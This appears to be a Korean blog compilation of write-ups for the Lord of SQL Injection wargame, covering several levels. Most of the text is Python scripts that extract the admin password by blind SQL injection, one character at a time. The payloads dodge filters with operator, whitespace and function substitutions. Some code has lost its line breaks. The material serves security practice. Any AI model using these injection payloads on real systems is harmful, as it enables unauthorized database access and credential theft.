우선 이 문제 전darknight와 유사한 문제이지만 특이한 점은 전과 달리 필터링이 더 엄격해 졌다는 것이다.
전에는 기존 코드에서 필터링 우회할 수 있는 방법을 찾아봐야한다.
or과 &&의 경우 ||와 &&으로 첫째 우회가 가능하고 공백은 %09, %0a, %0b, %0c, %0d로 가능하다. 문제는 like 이다.
like의 경우 우회 가능한 문자는 in, betweem, instring 이 존재한다.
import requests
url='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookies={'PHPSESSID':'pn5rbt2lp2gfnrk9fo9df7mjtr'}
pw_str=''for position inrange(1,9):
for find_pw inrange(33,127):
value = '"x" or id like "admin" and ord(mid(pw,{},1)) like {}#'.format(position,find_pw)
parameter={'no':value}
res = requests.get(url, params=parameter, cookies=cookies)
if("Hello admin"in res.text):
pw_str+=chr(find_pw)
print("pw=", pw_str)
breakif("php"notin res.text)
print("Error")
breakprint("Found all pw=",pw_str)
아래와 같이 기본적인 틀을 만들고 admin 뒤에 들어오는 pw만 비교하도록 sql 문을 작성하였다.
ord 같은 경우 or 문자 필터링으로 인해 작동을 못하기 때문에 이번에는 16진수로 변환하는 hex를 이용하여 진행할 예정이다.
코드를 맞게 작성했는데 작동 안해서 지금 1시간째 골머리를 썩고있다... 왜 안되는거지
오늘 해보고 안되면 내일 올리도록 하겠다..
import requests
url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookies={'PHPSESSID':'fkmvn6qogmh77vgsp8ij60pqlc'}
pw_str=''for position inrange(1,9):
for find_pw inrange(48,122):
value = '"x"%0a||%0aid%0ain%0a("admin")%0a&&%0ahex(mid(pw,{},1))%0ain%0a(hex({}))'.format(position,find_pw)
parameter={'no':value}
res = requests.get(url, params=parameter, cookies=cookies)
print(value)
if("Hello admin"in res.text):
print(1)
pw_str+=chr(find_pw)
print("pw=", pw_str)
breakprint("Found all pw=",pw_str)
풀었다. 작동이 안되는 이유는 파이썬에서는 공백 대치문으로 /**/ 으로만 적용을 해야 매개변수가 제대로 전달되는 것으로 보인다. 공백 문자를 바꾸니 바로 작동된다...
import requests
url='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookies={'PHPSESSID':'fkmvn6qogmh77vgsp8ij60pqlc'}
pw_str=''
forpositioninrange(1,9):
forfind_pwinrange(48,122):
value = '""/**/||/**/id/**/in/**/("admin")/**/&&/**/hex(mid(pw,{},1))/**/in/**/(hex({}))'.format(position,find_pw)
parameter={'no':value}
res = requests.get(url, params=parameter, cookies=cookies)
if("Hello admin"in res.text):
print(1)
pw_str+=chr(find_pw)
print("pw=", pw_str)
breakprint("Found all pw=", pw_str)
우선 이문제를 해결하기 위해서는 pw와 no의 필터링의 차이를 봐야한다. pw 같은 경우 '를 사용하지 못하도록 되어있는데 이것이 생기면 문제점이 하나 있다. 우선 따옴표를 못넣어서 pw라는 문장에 끝을 못만든 다는 것이다
예시로 아래와 같은 쿼리문이 있다고 보자 그러면 '를 못사용하니 문장을 못 닫아서 전체 문장이 문자열 처리되어 버리는 것이다. 즉 연산자를 이용해 거짓을 참으로 만드는 것이 안되는 것이다. 그에반에 no의 경우 필터링 되는 것은 많지만 ' 가 no라는 입력에 없기 때문에 pw 보다는 좀더 수월하게 우회가 가능하다.
select id from prob_darkknight where id='guest' and pw=' " " or id="admin"#
import requests
url='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookies={'PHPSESSID':'pn5rbt2lp2gfnrk9fo9df7mjtr'}
pw_str=''for position inrange(1,9):
for find_pw inrange(33,127):
value = '"x" or id like "admin" and ord(mid(pw,{},1)) like {}#'.format(position,find_pw)
parameter={'no':value}
res = requests.get(url, params=parameter, cookies=cookies)
if("Hello admin"in res.text):
pw_str+=chr(find_pw)
print(res.text)
print("pw=", pw_str)
breakprint("Found all pw=",pw_str)
내용을 보게 되면 입력된 비밀번호와 db에서 가져온 비밀번호가 일치해야 admin 로그인이 승인되는 것을 볼 수 있다. 이 겨우 pw에서만 입력을 받기 때문에 union을 사용하기는 어려울 것 같고 전과 같이 비밀번호를 알아내는 방법을 써야할 것같다. 다만 substr이라는 문자열을 자르는 함수가 필터링되어 있으니 다른 방식으로 접근하여야 한다.
우선 = 필터링은 like 문을 사용해서 우회가 가능하다 또한 substr같은 경우 substring을 이용하면 우회가 가능해 진다.
or and 문의 경우 ||와 && 문자를 url encoding 해서 집어넣었다. 그 이유는 &&가 url에서 먹히지 않아서 그렇다.
이렇게 sql문을 작성하면 뒤에 && 뒤에 문이 참이 나와야 Hello admin이 나오기 때문에 이를 이용하여 자동화 공격시 우회가 가능해진다.
자동화 공격 코드는 전 orc 문제 풀이에서 조금만 수정을 하였다.
import requests
url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookies={'PHPSESSID':'2331tgvu0ls0ek67c2ba6liiun '}
pw_str=''for position inrange(1,9):
for find_pw inrange(33,127):
value ="x' || id like'admin' && ascii(substring(pw,{},1)) like {}#'".format(position,find_pw)
parameter={'pw':value}
res = requests.get(url, params=parameter, cookies=cookies)
if("Hello admin"in res.text):
pw_str+=chr(find_pw)
print("pw=", pw_str)
breakprint("Found all pw=",pw_str)
preg_match('/~~~/',입력된값) 은 i가 있냐 없냐에 따라 대소문자에 상관없이 필터링할 것인지 아니면 필터링 안할지를 결정한다. 위 코드를 보면 admin/" 이다. 즉 대소문자 필터링을 안하기 때문에 Admin, aDmin, adMin 과 같은 값을 넣으면 필터링 우회가 가능하다.
[LOS] SQL Injection 풀이 (Vampire)
필터링되는 문자
'
이 문제는 GET방식으로 id를 가져와 strtolower로 다 소문자로 만들어서 admin이 문제에 들어가면 공백으로 만들어서 sql문에 전달하는 문제이다. 이 문제는 매우 쉬운점이 문자를 삭제한다는 것이다 만약 삭제시 하나만 삭제하는지 아니면 완전히 사라질때까지 계속 삭제하는지를 알면되는데 대게 모든 함수는 한번만 실행하기 때문에 admin을 삭제한다면 adadminmin 이렇게 해도 admin만 남아 sql문으로 전달이 된다. 저걸 전달하면 아래와 같이 풀리게 된다.
[LOS] SQL Injection 풀이 (Skeleton)
필터링 되는 문자
prob
-
.
()
sql 문을 보게되면 pw에 어떠한 값을 넣더라도 1=0은 거짓이기 때문에 sql 문이 전체가 거짓이 되어 어떠한 값도 찾아내지 못하게 된다. 이를 위해서는 guest가 있는 앞 부분과 1=0 이 있는 뒷부분을 둘다 구분하여 가운데에 참을 넣어주면 된다.
query :select id from prob_skeleton where id='guest' and pw='' and 1=0
이런식으로 말이다. 아래 처럼하면 가운데 id=admin만 살아남아 id=admin인 것을 찾는 sql문이 된다.
id='guest' and pw='x' or id='admin' or 'x' and 1=0
이 문제 같은 경우는 pw를 get 방식으로 가져와서 sql문에 넣고 나중에 비밀번호를 인증 확인할때 db table에서 가져온 pw와 get방식으로 가져온 pw가 일치하는 지를 보고 있다.
즉 pw 입력을 할때 정확한 비밀번호를 대입해야한다. 이건 일전에서 풀었던 orc와 같은 문제이지만 and와 or 이 필터링 되기 때문에 이를 우회하기만 한다면 같은 방식으로 풀 수 있다.
해결 방법을 찾았다 여기서도 hello guest를 출력하기 때문에 해당 문구에 id= 'admin'을 추가하기만 해도 orc와 같은 형식이 된다.
여긴 틀려먹은 생각^^
곰곰히 생각하다가 id= 이라는 문구를 두개 or 방식으로 넣으면어떻게 될지라는 생각이 들어 내가 가진 phpmyadmin에 sql 질의를 아래와 했지만^^ 아래와 같이 두개의 테이블이 나올 경우 2번째 열 비교를 못한다.
select * from login where id='1' and pw='1' or id='2' and '2' 로 했더니 아래와 같이 두개의 테이블이 나오게 됐다. 즉 이 문제도 이렇게 하면 앞에 guest가 만족하도록 만들고 뒤에를 admin을 알아내도록 orc 와 같은 방식으로 풀어주는 것이다.
id pw
1 1
2 2
length 부터 시작해서 대입해 보자 확인시 orc와 같게 여기도 8자리이다.
자동화가 필요하다 생각하여 파이썬 코드 작성
아래 코드는 다른 블로그 내용 참고해서 작성하였다.
다만 특이한 점은 특수문자를 인코더하여 보낼 경우 작동을 안하였다. requests 자체에서 인코딩해서 데이터를 보내기 때문에 인코딩한 값이 한번더 인코딩되어 전달되는 것 같다.
import requests
url='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookies={'PHPSESSID':'7qs6pdatcldhqr93cjustg1pl7'}
pw_str=''for position inrange(1,9):
for find_pw inrange(33,127):
value ="x' || id='admin' && ascii(substr(pw,{},1))={}#'".format(position,find_pw)
parameter={'pw':value}
res = requests.get(url, params=parameter, cookies=cookies)
if("Hello admin"in res.text):
pw_str+=chr(find_pw)
print("pw=", pw_str)
breakprint("Found all pw=",pw_str)